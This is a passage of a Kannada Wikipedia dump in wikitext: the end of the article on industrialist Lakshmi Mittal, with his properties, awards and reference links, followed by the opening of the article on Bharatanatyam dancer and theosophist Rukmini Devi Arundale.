ಅವರನ್ನು ವಿವಾಹವಾಗಿದ್ದಾರೆ. ಕೆನ್ಸಿಂಗ್ಟನ್‌ ಪ್ಯಾಲೇಸ್‌ ಗಾರ್ಡನ್ಸ್‌ನಲ್ಲಿ 'ಬಿಲಿಯನೇಯರ್ಸ್‌ ರೋ'ದಲ್ಲಿರುವ, ಒಟ್ಟು 500 ದಶಲಕ್ಷ ಪೌಂಡ್‌ ಮೌಲ್ಯದ ಮೂರು ಅತ್ಯುತ್ಕೃಷ್ಠ ಸ್ವತ್ತುಗಳಿಗೆ ಮಿತ್ತಲ್‌ ಒಡೆಯರಾಗಿದ್ದಾರೆ‌. <ref>[http://www.dailymail.co.uk/news/article-1028725/The-Mittal-Monopoly-Britains-richest-man-buys-property-Billionaires-Row.html ದಿ ಮಿತ್ತಲ್‌ ಮೊನೊಪೊಲಿ: ಬ್ರಿಟನ್ಸ್‌ ರಿಚೆಸ್ಟ್‌ ಮ್ಯಾನ್‌ ಬಯ್ಸ್‌ ಪ್ರಾಪರ್ಟಿ]</ref> 46B, ದಿ ಬಿಷಪ್ಸ್‌ ಅವೆನ್ಯೂದಲ್ಲಿರುವ ಸಮ್ಮರ್‌ ಪ್ಯಾಲೇಸ್‌ ಎಂಬ ಮನೆಗೂ ಸಹ ಮಿತ್ತಲ್‌ ಒಡೆಯರು. ಇದು 40 ದಶಲಕ್ಷ ಪೌಂಡ್‌ಗಳ ಬೆಲೆಗಾಗಿ ಮಾರಾಟಕ್ಕಿದೆಯೆಂದು ವರದಿಯಾಗಿದೆ. ಭಾರತದ ರಾಜಧಾನಿ ಹೊಸದೆಹಲಿಯಲ್ಲಿರುವ ಔರಂಗಝೇಬ್‌ ರಸ್ತೆಯಲ್ಲಿ ನಿವೇಶನ 22ರಲ್ಲಿರುವ ವಸಾಹತು ಕಾಲದ ಬಂಗಲೆಯೊಂದನ್ನು 2005ರಲ್ಲಿ ಕೊಂಡು, ಅದನ್ನು ಮನೆಯನ್ನಾಗಿ ಪುನರ್ನಿರ್ಮಿಸಿದರು. ಈ ರಸ್ತೆಯು ಬಹಳ ಉತ್ಕೃಷ್ಠ, ಏಕೆಂದರೆ ಇಲ್ಲಿ ಹಲವು ದೂತಾವಾಸಗಳು ಹಾಗೂ ಲಕ್ಷಾಧಿಪತಿಗಳ ನಿವಾಸಗಳಿವೆ. ==ಗೌರವಗಳು ಮತ್ತು ಪ್ರಶಸ್ತಿಗಳು== * 2010: ಕಝಕ್‌ಸ್ತಾನ್‌ ಗಣರಾಜ್ಯದ ಅಭಿವೃದ್ಧಿಗಾಗಿ ಮಿತ್ತಲ್‌ರ ಕೊಡುಗೆಯನ್ನು ಪ್ರಶಂಸಿಸಿ, ಅವರಿಗೆ ಆ ದೇಶದ ಅತ್ಯುನ್ನತ 'ಡೊಸ್ಟಿಕ್'‌ 1 ಪುರಸ್ಕಾರ ನೀಡಲಾಯಿತು. * 2008 : ಜೂನ್‌ ತಿಂಗಳಲ್ಲಿ ಗೋಲ್ಡ್‌ಮನ್‌ ಸ್ಯಾಚ್ಸ್‌ ನಿರ್ದೇಶಕರಾಗಿ ಮಿತ್ತಲ್‌ ನೇಮಕ. * 2007: ಮಿತ್ತಲ್‌ರಿಗೆ [[ಭಾರತದ ಅಧ್ಯಕ್ಷರು|ಭಾರತದ ರಾಷ್ಟ್ರಪತಿ]]ಯಿಂದ ರಾಷ್ಟ್ರದ ಎರಡನೆಯ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ '[[ಪದ್ಮ ವಿಭೂಷಣ|ಪದ್ಮಭೂಷಣ]]' ಪ್ರದಾನ.<ref name="eads.com">http://www.eads.com/1024/en/corporate_governance/Board_of_Directors/members/Mittal.html{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಇಎಡಿಎಸ್‌ ಎನ್‌.ವಿ.</ref> * 2007: ಮಿತ್ತಲ್‌ರಿಗೆ ಡ್ವೈಟ್‌ ಡಿ. ಐಸೆನ್ಹೋವರ್‌ ಗ್ಲೋಬಲ್‌ ಲೀಡರ್ಷಿಪ್‌ ಪ್ರಶಸ್ತಿ, ಸ್ಪೇನ್‌ ದೇಶದ ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌ ಆಫ್‌ ಸಿವಿಲ್‌ ಮೆರಿಟ್‌, ಹಾಗೂ ಕಿಂಗ್ಸ್‌ ಕಾಲೇಜ್‌ ಫೆಲೋಷಿಪ್‌ ಪ್ರದಾನ.<ref name="eads.com" /> * 2006: ''ಟೈಮ್‌'' ಪತ್ರಿಕೆಯಿಂದ 'ವರ್ಷದ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಾರ್ತಾ-ವಿಷಯಕ ವ್ಯಕ್ತಿ' ಹಾಗೂ ''ಫೈನಾನ್ಷಿಯಲ್‌ ಟೈಮ್ಸ್'' ‌ನಿಂದ ಪರ್ಸನ್‌ ಆಫ್‌ ದಿ ಇಯರ್‌' ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತ. * 2004: ''ಫಾರ್ಚೂನ್'' ‌ ಪತ್ರಿಕೆಯಿಂದ 'ವರ್ಷದ ಯುರೋಪಿಯನ್‌ ಉದ್ಯಮಿ' ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತ * 1998: ವಿಲ್ಲಿ ಕೊರ್ಫ್‌ ಸ್ಟೀಲ್‌ ವಿಷನ್‌ ಅವಾರ್ಡ್‌ - ''ಅಮೆರಿಕನ್‌ ಮೆಟಲ್‌ ಮಾರ್ಕೆಟ್‌'' ಮತ್ತು ''ಪೇಯ್ನ್‌ವೆಬರ್ ವರ್ಲ್ಡ್‌ ಸ್ಟೀಲ್‌ ಸ್ಟ್ಯಾಟಿಕ್ಸ್'' ‌ * 1996: ವರ್ಷದ ಉಕ್ಕು ತಯಾರಕ - ''ನ್ಯೂ ಸ್ಟೀಲ್‌'' ==ಗ್ರಂಥಸೂಚಿ== * ಟಿಮ್‌ ಬೊಕೆ ಮತ್ತು ಬೈರೊನ್‌ ಔಸೆ - ''ಕೋಲ್ಡ್‌ ಸ್ಟೀಲ್‌'' (ಲಿಟ್ಲ್‌, ಬ್ರೌನ್‌, 2008). * ಯೋಗೇಶ್‌ ಛಾಬ್ರಿಯಾ - ''ಇನ್ವೆಸ್ಟ್‌ ದಿ ಹ್ಯಾಪಿಯೊನೆಯರ್‌ ವೇ'' (ಸಿಎನ್‌ಬಿಸಿ - ನೆಟ್ವರ್ಕ್‌18, 2008). *ನವಲ್‌ಪ್ರೀತ್‌ ರಂಗಿ-''ಸಾಕ್ಷ್ಯಚಿತ್ರ'' (ದಿ ಮ್ಯಾನ್‌ ವಿತ್‌ ಅ ಮಿಷನ್‌, 2010). ==ಇವನ್ನೂ ನೋಡಿ== * ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ * ಮಾರ್ವಾಡಿಗಳು * B4U * [[ರಾಜಸ್ಥಾನ]] ==ಉಲ್ಲೇಖಗಳು== {{Reflist|2}} ==ಹೊರಗಿನ ಕೊಂಡಿಗಳು== * [http://www.arcelormittal.com ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಅಂತರಜಾಲತಾಣ] * [http://www.arcelormittal.tv ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಅಂತರಜಾಲ ದೂರದರ್ಶನ] * [http://www.time.com/time/europe/magazine/article/0,13005,901060213-1156507,00.html ಅರ್ಸೆಲರ್‌ ಸಂಸ್ಥೆಯನ್ನು ಕೊಂಡುಕೊಳ್ಳುವ ಯತ್ನದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಮಿತ್ತಲ್‌ ಕುರಿತು ಲೇಖನ] {{Webarchive|url=https://web.archive.org/web/20080830090011/http://www.time.com/time/europe/magazine/article/0,13005,901060213-1156507,00.html |date=30 ಆಗಸ್ಟ್ 2008 }} - ''ಟೈಮ್‌'' ಪತ್ರಿಕೆ * [http://www.wharton.upenn.edu/whartonfacts/news_and_events/newsreleases/2007/p_2007_3_611.html ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ಮುಖ್ಯ ಭಾಷಣ: ಪೆನ್ಸಿಲ್ವಾನಿಯಾ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ವ್ಹಾರ್ಟನ್‌ ಸ್ಕೂಲ್‌ - ಎಂಬಿಎ '13ನೆಯ ಸಮಾರಂಭ' ಆರಂಭ] {{Webarchive|url=https://web.archive.org/web/20090902105120/http://www.wharton.upenn.edu/whartonfacts/news_and_events/newsreleases/2007/p_2007_3_611.html |date=2 ಸೆಪ್ಟೆಂಬರ್ 2009 }} * [http://www.telegraph.co.uk/news/uknews/2014300/Lakshmi-Mittal-to-buy-Britainandrsquos-most-expensive-house-for-andpound117-million.html ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ ಟು ಬಯ್‌ ಬ್ರಿಟನ್ಸ್‌ ಮೋಸ್ಟ್‌ ಎಕ್ಸ್‌ಪೆನ್ಸಿವ್‌ ಹೌಸ್‌] {{Webarchive|url=https://web.archive.org/web/20080625045900/http://www.telegraph.co.uk/news/uknews/2014300/Lakshmi-Mittal-to-buy-Britainandrsquos-most-expensive-house-for-andpound117-million.html |date=25 ಜೂನ್ 2008 }} - ದಿ ಗಾರ್ಡಿಯನ್‌ * [http://business.timesonline.co.uk/article/0,,9072-1521099,00.html ಮಿತ್ತಲ್‌ ಕುರಿತು ಲೇಖನ] - ಟೈಮ್ಸ್‌ ಆನ್ಲೈನ್‌ * [http://news.bbc.co.uk/1/hi/uk_politics/1818955.stm ಮಿತ್ತಲ್‌ಗೇಟ್‌ ಹಗರಣ ಕುರಿತು ಪ್ರಶ್ನೋತ್ತರಗಳು] - ಬಿಬಿಸಿ ನ್ಯೂಸ್‌ * [http://news.bbc.co.uk/1/hi/world/south_asia/3830009.stm ಬಿಬಿಸಿ - ""ಗ್ಲಿಂಪ್ಸಿಂಗ್‌ ಎ ಫೇರಿಟೇಲ್‌ ವೆಡಿಂಗ್‌""] - ಬಿಬಿಸಿ ನ್ಯೂಸ್‌ * [http://www.coldsteelbook.com ''ಕೋಲ್ಡ್‌ ಸ್ಟೀಲ್‌'' ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.mittalzlo.com ''ಮಿತ್ತಲ್‌ ಈವಿಲ್‌'' ] {{Webarchive|url=https://web.archive.org/web/20110202025426/http://mittalzlo.com/ |date=2 ಫೆಬ್ರವರಿ 2011 }} * [http://www.ohiocitizen.org/campaigns/isg/isg.html ''ಮಿತ್ತಲ್‌ ಸ್ಟೀಲ್‌ ಕ್ಲೀವ್ಲೆಂಡ್ ವರ್ಕ್ಸ್‌'' ] {{Webarchive|url=https://archive.is/20121220232801/http://www.ohiocitizen.org/campaigns/isg/isg.html |date=20 ಡಿಸೆಂಬರ್ 2012 }} * [https://www.bloomberg.com/apps/news?pid=20601100&amp;sid=azkhfjKQebj0 ಮಿತ್ತಲ್‌ ಕುಟುಂಬ ಎಸ್ಕಾಡಾ ಸಂಸ್ಥೆ ಕೊಂಡ ಕುರಿತು ಲೇಖನ] - ಬ್ಲೂಮ್ಬರ್ಗ್‌ *[http://billionaires.forbes.com/topic/Lakshmi_Mittal ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ಬಗ್ಗೆ ಫೋರ್ಬ್ಸ್‌ ವಿಷಯಪುಟ] {{Webarchive|url=https://web.archive.org/web/20101231125323/http://billionaires.forbes.com/topic/Lakshmi_Mittal |date=31 ಡಿಸೆಂಬರ್ 2010 }} {{Use dmy dates|date=September 2010}} {{Persondata <!-- Metadata: see [[Wikipedia:Persondata]]. --> | NAME =Mittal, Lakshmi | ALTERNATIVE NAMES = | SHORT DESCRIPTION = | DATE OF BIRTH =2 September 1950 | PLACE OF BIRTH =[[Sadulpur]], [[Rajasthan, India]] | DATE OF DEATH = | PLACE OF DEATH = }} {{DEFAULTSORT:Mittal, Lakshmi}} [[ವರ್ಗ:೧೯೫೦ ಜನನ]] [[ವರ್ಗ:ಜೀವಿತ ಜನರು]] [[ವರ್ಗ:ಆರ್ಸೆಲರ್‌ ಮಿತ್ತಲ್‌]] [[ವರ್ಗ:ಉಕ್ಕಿನ ಉದ್ದಿಮೆಯಲ್ಲಿ ವ್ಯಕ್ತಿಗಳು]] [[ವರ್ಗ:ಭಾರತೀಯ ಮೂಲದ ಉದ್ದಿಮೆದಾರರು]] [[ವರ್ಗ:ಲಂಡನ್‌ನ ಕಿಂಗ್ಸ್‌ ಕಾಲೇಜ್‌ನ ಸದಸ್ಯರು (ಫೆಲೊಸ್‌)]] [[ವರ್ಗ:ಭಾರತೀಯ ಶತಕೋಟ್ಯಾಧಿಪತಿಗಳು]] [[ವರ್ಗ:ಭಾರತೀಯ ಉದ್ಯಮಿಗಳು]] [[ವರ್ಗ:ಗ್ರೇಟ್ ಬ್ರಿಟನ್ ಮತ್ತು ಉತ್ತರ ಐರ್ಲೆಂಡ್‌ನಲ್ಲಿರುವ ಭಾರತೀಯ ವಲಸಿಗರು.]] [[ವರ್ಗ:ಭಾರತೀಯ ಹಿಂದೂಗಳು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್‌ಗೆ ಹೋದ ಭಾರತದ ವಲಸೆಗಾರರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಸಸ್ಯಾಹಾರಿಗಳು]] [[ವರ್ಗ:ಲೇಬರ್‌ ಪಾರ್ಟಿ (ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌) ಸದಸ್ಯರು]] [[ವರ್ಗ:ಪದ್ಮವಿಭೂಷಣ ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿನ ರಾಜಕೀಯ ಹಗರಣಗಳು]] [[ವರ್ಗ:ಚೂರೂ ಜಿಲ್ಲೆಯ ಜನರು]] [[ವರ್ಗ:ಕೋಲ್ಕತ್ತಾ ನಗರದ ಸೇಂಟ್‌ ಕ್ಸೇವಿಯರ್‌ ಕಾಲೇಜಿನ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು]] [[ವರ್ಗ:ಭಾರತೀಯ ಸಮಾಜ ಕಲ್ಯಾಣ ಮತ್ತು ವ್ಯವಸಾಯ ವ್ಯವಸ್ಥಾಪನಾ ಸಂಸ್ಥೆಯ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು]] [[ವರ್ಗ:ಕೋಲ್ಕತ್ತಾ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು]] [[ವರ್ಗ:ರಾಜಸ್ಥಾನ ಮೂಲದ ಜನರು]] [[ವರ್ಗ:ಉದ್ಯಮಿಗಳು]] 7zsdtvimpdl4tmmwjgu9bok3qerc7b8 ರುಕ್ಮಿಣಿದೇವಿ ಅರುಂಡೇಲ್ 0 27320 1116418 1083023 2022-08-23T12:12:01Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox actor | bgcolour = | name = ರುಕ್ಮಿಣಿದೇವಿ ಅರುಂಡೇಲ್ | image = Rukmini Devi.jpg | imagesize = | caption = | birthdate = {{ಹುಟ್ಟಿದ ದಿನಾಂಕ|1904|02|29}} | birth_place = [[ಮಧುರೈ]], [[ತಮಿಳುನಾಡು]], [[ಭಾರತ]] | height = | deathdate = {{ನಿಧನರಾದ ದಿನಾಂಕ ಮತ್ತು ವಯಸ್ಸು|1986|02|24|1904|02|29}} | deathplace = [[ಚೆನ್ನೈ]], [[ತಮಿಳುನಾಡು]], [[ಭಾರತ]] | yearsactive = 1920-1986 | birthname = ರುಕ್ಮಿಣಿದೇವಿ | othername = | homepage = | awards = [[ಪದ್ಮಭೂಷಣ]]: 1956<br />[[ಸಂಗೀತ ನಾಟಕ ಅಕಾಡೆಮಿ ಶಿಷ್ಯವೇತನ]]: 1967 }} '''ರುಕ್ಮಿಣಿ ದೇವಿ ಅರುಂಡೇಲ್''' ([[ತಮಿಳು]]:ருக்மிணி தேவி அருண்டேல்) (1904 ರ ಫೆಬ್ರವರಿ 29–1986 ರ ಫೆಬ್ರವರಿ 24,<ref>{{Cite web |url=http://www.naatya.org/rda/RDAPressRelease.htm |title=ಸೆಂಚ್ಯುರಿ ಸೆಲೆಬ್ರೇಷನ್, 2004 |access-date=2011-01-21 |archive-date=2016-03-30 |archive-url=https://web.archive.org/web/20160330054033/http://www.naatya.org/rda/RDAPressRelease.htm |url-status=dead }}</ref> )ಇವರು ಭಾರತೀಯ ಧಾರ್ಮಿಕ,ಆಧ್ಯಾತ್ಮಿಕ ತತ್ವಗಳ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿ ತತ್ವದ ಪ್ರತಿಪಾದಕಿ, ನೃತ್ಯಗಾರ್ತಿ ಹಾಗು [[ಭರತನಾಟ್ಯ]]ದ ರೂಪವಾದ ಭಾರತೀಯ ಶಾಸ್ತ್ರೀಯ ನೃತ್ಯದ ಸಂಯೋಜಕಿಯಾಗಿದ್ದರು. ಅಲ್ಲದೇ ಪ್ರಾಣಿಗಳ ಹಕ್ಕುಗಳು ಮತ್ತು ಅಭಿವೃದ್ಧಿಗಾಗಿ ಹೋರಾಡುವ ಕಾರ್ಯಕರ್ತೆಯಾಗಿದ್ದರು. ಇವರನ್ನು ಮೂಲ 'ಸಾಧಿರ್' ಶೈಲಿಯಿಂದ, ಭರತನಾಟ್ಯದ ರೂಪವಾದ ಭಾರತೀಯ ಶಾಸ್ತ್ರೀಯ ನೃತ್ಯದಲ್ಲಿ ಜೀರ್ಣೋದ್ದಾರ ಮಾಡಿದವರು ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಈ ಸಾಧಿರ್ ಶೈಲಿಯನ್ನು ದೇವಸ್ಥಾನದ ನೃತ್ಯಗಾರ್ತಿಯರೆಂದು ಕರೆಯಲಾಗುವ ದೇವದಾಸಿಯರಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ನೋಡ ಬಹುದಾಗಿದೆ.<ref>ದೇವದಾಸಿ ರಿವೈವಲಿಸ್ಟ್</ref><ref>ಭರತನಾಟ್ಯ ರೀಬರ್ತ್</ref> ಇವರು ಸಾಂಪ್ರದಾಯಿಕ ಭಾರತೀಯ ಕಲೆ ಮತ್ತು ಕೌಶಲಗಳನ್ನು ಪುನಃ ಸ್ಥಾಪಿಸುವುದರ ಮೇಲೂ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದರು. ಇವರು ಭಾರತದ ಮೇಲ್ವರ್ಗದ ಜಾತಿಗೆ ಸೇರಿದ್ದರೂ ಕೂಡ ಭರತನಾಟ್ಯದ ಧ್ಯೇಯಗಳನ್ನು ಎತ್ತಿ ಹಿಡಿದರು. ಇವುಗಳನ್ನು 1920 ರ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ ಕೀಳುಮಟ್ಟದ ಮತ್ತು ದೇಸಿಕಲೆಯೆಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತಿತ್ತು. ಈ ಕಲಾ ಸ್ವರೂಪದ ಸೌಂದರ್ಯ ಮತ್ತು ಆಧ್ಯಾತ್ಮಿಕ ಮೌಲ್ಯವನ್ನು ಗುರುತಿಸಿ, ನೃತ್ಯವನ್ನು ಕಲಿತರಷ್ಟೇ ಅಲ್ಲದೇ, ಸಾರ್ವಜನಿಕರ ಪ್ರಬಲ ವಿರೋಧದ ಹೊರತಾಗಿಯು ಇದನ್ನು ವೇದಿಕೆಯ ಮೇಲೆ ಪ್ರದರ್ಶಿಸಿದ್ದರು. 'ಭಾರತದ ಸಾಂಸ್ಕೃತಿಕ ಕ್ಷೇತ್ರದಲ್ಲಿ ಹೊಸರೂಪ ನೀಡಿದ 100 ಜನರ' ಪಟ್ಟಿ ಸಿದ್ದಪಡಿಸಿ ಪ್ರಕಟಿಸಿದ ಇಂಡಿಯಾ ಟುಡೇ ಪತ್ರಿಕೆಯಲ್ಲಿ ರುಕ್ಮಿಣಿ ದೇವಿಯವರ ಹೆಸರನ್ನೂ ಪ್ರಸ್ತಾಪಿಸಲಾಗಿದೆ.<ref>{{Cite web |url=http://www.india-today.com/itoday/millennium/100people/rukmini.html |title=ಇಂಡಿಯಾ ಟುಡೇ |access-date=2011-01-21 |archive-date=2006-05-09 |archive-url=https://web.archive.org/web/20060509024046/http://www.india-today.com/itoday/millennium/100people/rukmini.html |url-status=dead }}</ref> ಇವರಿಗೆ 1956 ರಲ್ಲಿ [[ಪದ್ಮಭೂಷಣ|ಪದ್ಮ ಭೂಷಣ]] ಪ್ರಶಸ್ತಿ ಮತ್ತು 1967 ರಲ್ಲಿ [[ಸಂಗೀತ ನಾಟಕ ಅಕಾಡೆಮಿ ಫೆಲೋಶಿಪ್]] ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ==ಜೀವನ ಚರಿತ್ರೆ== ===ಆರಂಭಿಕ ಜೀವನ ಮತ್ತು ವಿವಾಹ === *ರುಕ್ಮಿಣಿ ದೇವಿ, 1904 ರ ಫೆಬ್ರವರಿ 29 ರಂದು [[ಮಧುರೈ]] ಯ ಮೇಲ್ವರ್ಗದ ಬ್ರಾಹ್ಮಣ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು. ಇವರ ತಂದೆ ನೀಲಕಂಠಶಾಸ್ತ್ರಿ ಲೋಕೋಪಯೋಗಿ ಇಲಾಖೆಯಲ್ಲಿ [[ಇಂಜಿನಿಯರ್]] ಮತ್ತು [[ವಿದ್ವಾಂಸ]]ರಾಗಿದ್ದರು. ತಾಯಿ ಶೇಷಾಮ್ಮಲ್ ಸಂಗೀತದ ಉತ್ಸಾಹಿಯಾಗಿದ್ದರು. ತಂದೆಯದು ವರ್ಗಾವಣೆಯಾಗುತ್ತಿದ್ದ ಕೆಲಸವಾಗಿದ್ದರಿಂದ ಕುಟುಂಬವನ್ನು ಪದೇ ಪದೇ ಬೇರೆಡೆಗೆ ಸ್ಥಳಾಂತರಿಸಬೇಕಿತ್ತು. ಇವರನ್ನು 1901 ರಲ್ಲಿ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಸಮಾಜಕ್ಕೆ ಪರಿಚಯಿಸಲಾಯಿತು. *ಬ್ರಹ್ಮಸಮಾಜದ ಅನುಚರರಾದ ಡಾ.[[ಅನ್ನಿ ಬೆಸೆಂಟ್]] ರವರ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಚಳವಳಿಯಿಂದ ಪ್ರಭಾವಿತರಾದ ನೀಲಕಂಠಶಾಸ್ತ್ರಿ, ಅವರ ನಿವೃತ್ತಿಯ ನಂತರ ಚೆನ್ನೈನ ಅಡ್ಯಾರ್ ಗೆ ತೆರೆಳಿದರು. ಅಲ್ಲಿ ಅವರು ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಸಮಾಜ, ಅಡ್ಯಾರ್ ನ ಕೇಂದ್ರ ವಿಭಾಗದ ಸಮೀಪದಲ್ಲಿಯೇ ತಮ್ಮ ಮನೆ ನಿರ್ಮಿಸಿದರು. ಇಲ್ಲಿಯೇ ಎಳೆಯ ರುಕ್ಮಿಣಿ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದದ ಸಿದ್ಧಾಂತಗಳಿಗೆ ಮಾತ್ರವಲ್ಲದೇ ಸಂಸ್ಕೃತಿ, ರಂಗಕಲೆ ಸಂಗೀತ ಮತ್ತು ನೃತ್ಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಹೊಸ ಆಲೋಚನೆಗಳ ಪ್ರಭಾವಕ್ಕೊಳಗಾದರು. *ಅನಂತರ ಪ್ರಸಿದ್ಧ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿ ಡಾಕ್ಟರ್.ಜಾರ್ಜ್ ಅರುಂಡೇಲ್ ರವರನ್ನು ಭೇಟಿಮಾಡಿದರು. ಇವರು ಅನ್ನಿ ಬೆಸೆಂಟ್ ರವರ ಆಪ್ತ ಸಹಚರರಾಗಿದ್ದು, ಅನಂತರ [[ವಾರಾಣಸಿ|ವಾರಣಾಸಿ]]ಯ ಸೆಂಟ್ರಲ್ ಹಿಂದು ಕಾಲೇಜ್ ನ ಪ್ರಾಂಶುಪಾಲರಾದರು. ಅಲ್ಲದೇ ರುಕ್ಮಿಣಿ ಇವರೊಡನೆ ಆಗ ನಿಕಟ ಸಂಬಂಧ ಬೆಳೆಸಿಕೊಂಡರು.<ref>{{cite web |title=Rukmini Devi Arundale: A life dedicated to Art|url=http://specials.rediff.com/news/2004/mar/08sld01.htm |date=March, 2004 |publisher=[[Rediff.com]] |page=}}</ref> *ಇವರು 1920ರಲ್ಲಿ ಮದುವೆಯಾದರು. ಇದು ಸಂಪ್ರದಾಯಶೀಲ ಸಮಾಜಕ್ಕೆ ಆಘಾತವನ್ನು ಉಂಟುಮಾಡಿತ್ತು. ವಿವಾಹದ ನಂತರ ರುಕ್ಮಿಣಿದೇವಿ ಪ್ರಪಂಚವನ್ನೆಲ್ಲಾ ಸುತ್ತಿದರಲ್ಲದೇ, ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿ ಸಮಾಜದ ಅನುಚರರನ್ನು ಭೇಟಿಮಾಡಿದರು. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಶಿಕ್ಷಕ ಮರಿಯಾ ಮಾಂಟಸ್ಸರಿ, ಮತ್ತು ಕವಿ ಜೇಮ್ಸ್ ಕಸಿನ್ಸ್ ರೊಂದಿಗೆ ಸ್ನೇಹ ಬೆಳೆಸಿಕೊಂಡರು.<ref>{{Cite web |url=http://www.naatya.org/rda/RDAPressRelease.htm |title=Biography at naatya.org |access-date=2011-01-21 |archive-date=2016-03-30 |archive-url=https://web.archive.org/web/20160330054033/http://www.naatya.org/rda/RDAPressRelease.htm |url-status=dead }}</ref> *ಅವರು 1923 ರಲ್ಲಿ, ಯುವ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿಗಳ ಅಖಿಲ ಭಾರತ ಒಕ್ಕೂಟದ ಅಧ್ಯಕ್ಷರಾದರು. ಅಲ್ಲದೇ 1925 ರಲ್ಲಿ ಯುವ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿಗಳ ಅಖಿಲ ವಿಶ್ವ ಒಕ್ಕೂಟದ ಅಧ್ಯಕ್ಷರಾದರು.<ref>[http://www. hindu.com/ 2001/03/02/ stories/ 0902033a.htm ದಿ ಹಿಂದು, 2001 ಮಾರ್ಚ್ 02]</ref> *[[ರಷ್ಯಾ]]ದ ಪ್ರಸಿದ್ಧ ಬ್ಯಾಲೆ ನರ್ತಕಿ [[ಅನ್ನಾ ಪಾವಲೋವ]], 1928 ರಲ್ಲಿ [[ಮುಂಬೈ|ಬಾಂಬೆ]]ಗೆ ಭೇಟಿ ನೀಡಿದ್ದರಲ್ಲದೇ, ಅರುಂಡೇಲ್ ಜೋಡಿ; ಅವರ ಪ್ರದರ್ಶನ ನೋಡಲು ಹೋಗಿದ್ದರು. *ಅನಂತರ [[ಆಸ್ಟ್ರೇಲಿಯಾ]]ದಲ್ಲಿ ತಮ್ಮ ಮುಂದಿನ ಪ್ರದರ್ಶನವನ್ನು ನೀಡಲು ಹೋಗುತ್ತಿದ್ದ ಅನ್ನಾ ಮತ್ತು ಇವರು ಒಂದೇ ಹಡಗಿನಲ್ಲಿ ಪ್ರಯಾಣ ಬೆಳೆಸುವ ಪ್ರಸಂಗ ಬಂದಿತು; ಪ್ರಯಾಣದ ಸಂದರ್ಭದಲ್ಲಿ ಅವರ ನಡುವೆ ಸ್ನೇಹ ಉಂಟಾಯಿತಲ್ಲದೇ, ರುಕ್ಮಿಣಿ ದೇವಿ ಶೀಘ್ರದಲ್ಲೆ ಅನ್ನಾರವರ ಪ್ರಮುಖ ನೃತ್ಯಗಾರ ಶಿಷ್ಯರಲ್ಲಿ ಒಬ್ಬರಾದ ಕ್ಲಿಯೊನಾರ್ಡಿಯವರಿಂದ ನೃತ್ಯ ಕಲಿಯಲು ಪ್ರಾರಂಭಿಸಿದರು.<ref>[http://www.tribuneindia.com/2002/20020922/spectrum/main2.htm ದಿ ಟ್ರಿಬ್ಯೂನ್, 2002 ಸೆಪ್ಟೆಂಬರ್ 22, ]</ref> *ಅನಂತರ ಅನ್ನಾರವರ ಅಣತಿಯ ಮೇರೆಗೆ ರುಕ್ಮಿಣಿ ದೇವಿ, ಪಾರಂಪರಿಕ ಭಾರತೀಯ ನೃತ್ಯದ ರೂಪಗಳನ್ನು ಹೊರತೆಗೆಯುವಲ್ಲಿ ತಮ್ಮ ಗಮನ ಹರಿಸಿದರು.ಜನಪ್ರಿಯತೆ ನಶಿಸಿದ ನೃತ್ಯ ಕಲೆಗಳ ಬಗ್ಗೆ ಹೆಚ್ಚು ಆಸಕ್ತಿಯಿಂದ ಅಧ್ಯಯನ ಮಾಡಿದರು.ಅಲ್ಲದೇ ಅವುಗಳ ಪುನರುಜ್ಜೀವನಕ್ಕಾಗಿ ತಮ್ಮ ಉಳಿದ ಜೀವನವನ್ನೆಲ್ಲಾ ಮುಡಿಪಾಗಿಟ್ಟರು.<ref>{{Cite web |url=http://library.thinkquest.org/04oct/01260/rda.html |title=ರುಕ್ಮಿಣಿ ದೇವಿ ಬಯೋಗ್ರಫಿ ಅಟ್ thinkquest.org |access-date=2011-01-21 